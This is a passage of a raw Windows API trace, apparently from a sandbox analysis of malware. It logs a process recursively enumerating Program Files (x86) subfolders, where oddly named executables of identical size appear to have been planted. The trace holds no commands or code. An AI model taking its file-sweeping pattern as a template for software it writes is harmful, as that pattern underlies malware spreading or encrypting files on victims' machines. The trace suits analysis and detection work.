dwReserved1=0x0, cFileName="techno charges.exe", cAlternateFileName="TECHNO~1.EXE")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff4846b0, ftCreationTime.dwHighDateTime=0x1d5bec1, ftLastAccessTime.dwLowDateTime=0x49a92a80, ftLastAccessTime.dwHighDateTime=0x1d59870, ftLastWriteTime.dwLowDateTime=0x49a92a80, ftLastWriteTime.dwHighDateTime=0x1d59870, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="techno charges.exe", cAlternateFileName="TECHNO~1.EXE")) returned 0 [0260.011] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0260.011] GetProcessHeap () returned 0x550000 [0260.011] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbe07340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe07340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0260.011] GetProcessHeap () returned 0x550000 [0260.011] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0260.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbe07340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe07340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0260.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbe07340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe07340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2e700, ftCreationTime.dwHighDateTime=0x1d5c85a, ftLastAccessTime.dwLowDateTime=0x4f6dbdc0, ftLastAccessTime.dwHighDateTime=0x1d5711d, ftLastWriteTime.dwLowDateTime=0x4f6dbdc0, ftLastWriteTime.dwHighDateTime=0x1d5711d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a99560, ftCreationTime.dwHighDateTime=0x1d5b6bd, ftLastAccessTime.dwLowDateTime=0x9ef4a6e0, ftLastAccessTime.dwHighDateTime=0x1d5a77a, ftLastWriteTime.dwLowDateTime=0x9ef4a6e0, ftLastWriteTime.dwHighDateTime=0x1d5a77a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a99560, ftCreationTime.dwHighDateTime=0x1d5b6bd, ftLastAccessTime.dwLowDateTime=0x9ef4a6e0, ftLastAccessTime.dwHighDateTime=0x1d5a77a, ftLastWriteTime.dwLowDateTime=0x9ef4a6e0, ftLastWriteTime.dwHighDateTime=0x1d5a77a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 0 [0260.137] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0260.138] GetProcessHeap () returned 0x550000 [0260.138] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0260.138] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0260.138] GetProcessHeap () returned 0x550000 [0260.138] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0260.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0260.194] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.194] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0260.194] GetProcessHeap () returned 0x550000 [0260.194] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0260.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0260.208] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0260.208] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0260.209] GetProcessHeap () returned 0x550000 [0260.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0260.209] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0260.209] GetProcessHeap () returned 0x550000 [0260.209] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0260.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0260.795] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.795] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0260.795] GetProcessHeap () returned 0x550000 [0260.795] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0260.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0260.808] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.808] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb371d95c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0260.809] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0260.809] GetProcessHeap () returned 0x550000 [0260.809] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0260.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0260.810] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.810] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0260.811] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0260.811] GetProcessHeap () returned 0x550000 [0260.811] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0260.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0260.842] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.842] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0260.842] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0 [0260.842] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0260.842] GetProcessHeap () returned 0x550000 [0260.842] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0260.842] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0260.842] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0260.842] GetProcessHeap () returned 0x550000 [0260.842] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0260.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0260.842] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.843] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0260.843] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 0 [0260.843] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0260.843] GetProcessHeap () returned 0x550000 [0260.843] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0260.843] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0260.843] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0260.843] GetProcessHeap () returned 0x550000 [0260.843] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0260.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3743abc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3743abc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0260.843] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, 